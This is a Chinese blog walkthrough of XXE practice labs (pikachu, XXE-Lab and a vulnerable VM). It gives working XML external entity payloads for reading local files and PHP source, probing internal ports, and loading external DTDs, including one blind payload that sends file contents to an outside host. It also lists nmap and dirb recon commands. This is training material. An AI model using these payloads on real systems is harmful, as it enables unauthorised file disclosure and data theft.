XXE练习

pikachu-XXE靶场

1.POC:攻击测试

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "a">]>
<foo>&xxe;</foo>

2.EXP:查看文件

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///C:/flag/flag" > ]>
<foo>&xxe;</foo>

3.EXP:查看源码

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy/phpstudy_pro/WWW/1.php">]>
<foo>&xxe;</foo>

4.EXP:DTD外部调用

复制代码
<!ENTITY evil SYSTEM "file:///C:/flag/flag">

<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://172.16.1.195:80/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>

5.EXP:探测内网存活主机与开放端口

复制代码
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY> 
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80">
]>
<x>&rabbit</x>

端口开放回显很快

端口未开连接超时

复制代码
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY> 
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8087">
]>
<x>&rabbit</x>

6.EXP:无回显探测

复制代码
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.133.129:8888/?%file;'>">
%start;

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://172.16.1.195/66.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/flag/flag">
%remote;
%send;
]>

XXE-Lab靶场

目标获取flag

1.访问网页

2.尝试注入,获取flag

BP抓他瞧一瞧

看到支持接收xml数据注入一下试试

text/xml和application/xml

复制代码
<!DOCTYPE username [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/flag/flag">]>
<user>
  <username>
&xxe;
  </username>
  <password>1</password>
</user>

//flag{dmsioamdoiasdmdmwmdsmd}

XXE靶机

目标获取flag

1.装好靶机

这个样子就可以了

2.获取靶机IP

用Nmap扫描整个D段获取靶机IP

复制代码
nmap -O 192.168.133.129/24

或者是用命令

复制代码
arp-scan -l

4.信息收集

先去看看网页

Apache的默认页面,并什么可以利用的

利用dirb工具去扫一下后台目录和文件

复制代码
dirb http://192.168.133.131/

挨个访问一遍后发现两个登录界面

5.尝试注入

xxe有回显点

抓包看看;尝试注入

查看admin.php的源码

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/admin.php">]>
<root>
		<name>
				&xxe;
		</name>
		<password>
				1
  </password>
</root>

解密后,在看源码发现好像是账号密码;去解密一下登录试试

登录后是这样,点击Flag后发现新的php文件

去访问看看

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/flagmeout.php">]>
<root>
		<name>
				&xxe;
		</name>
		<password>
				1
		</password>
</root>

解密后

Base32解密后发现还得64解码

得到一个php文件去访问试试

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/.flag.php">]>
<root>
		<name>
				&xxe;
		</name>
		<password>
				1
		</password>
</root>

6.成功获取flag

在php文件中运行

访问一下就成功获取flag

复制代码
 SAFCSP{xxe_is_so_easy}
相关推荐
Dreamboat¿1 小时前
SQL注入攻防深度解析:从预编译绕过到高级注入技术
网络安全
爱学习的小牛7 小时前
三年网络安全经验,备考OSCP!
安全·web安全·网络安全·渗透测试·offsec·oscp
内心如初11 小时前
16_等保系列之等级保护、风险评估和安全测评三者的区别
网络安全·等保测评·等保测评从0-1·等保测评笔记
上海云盾第一敬业销售11 小时前
构建坚不可摧的网站安全防护策略
安全·web安全·ddos
醒醒酒12 小时前
sqli-labs Less1-4 新手修仙版
数据库·计算机网络·安全·web安全·网络安全·oracle
Whoami!14 小时前
⓫⁄₅ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 利用PowerShell获取敏感信息
网络安全·信息安全·powershell·windows日志
白山云北诗14 小时前
一文读懂什么是CC攻击
网络·数据库·tcp/ip·网络安全·cc·cc攻击·请求数
阿钱真强道15 小时前
基于openssl的sm4加密,加密数据,验证OK
linux·网络协议·网络安全
NaclarbCSDN16 小时前
防御型安全(蓝队)入门
安全·web安全
zhengfei61116 小时前
一种综合性的现代架构模型,用于集成平台解决方案和工具,以支持专业的红队。
开发语言·人工智能·网络安全·架构·信息与通信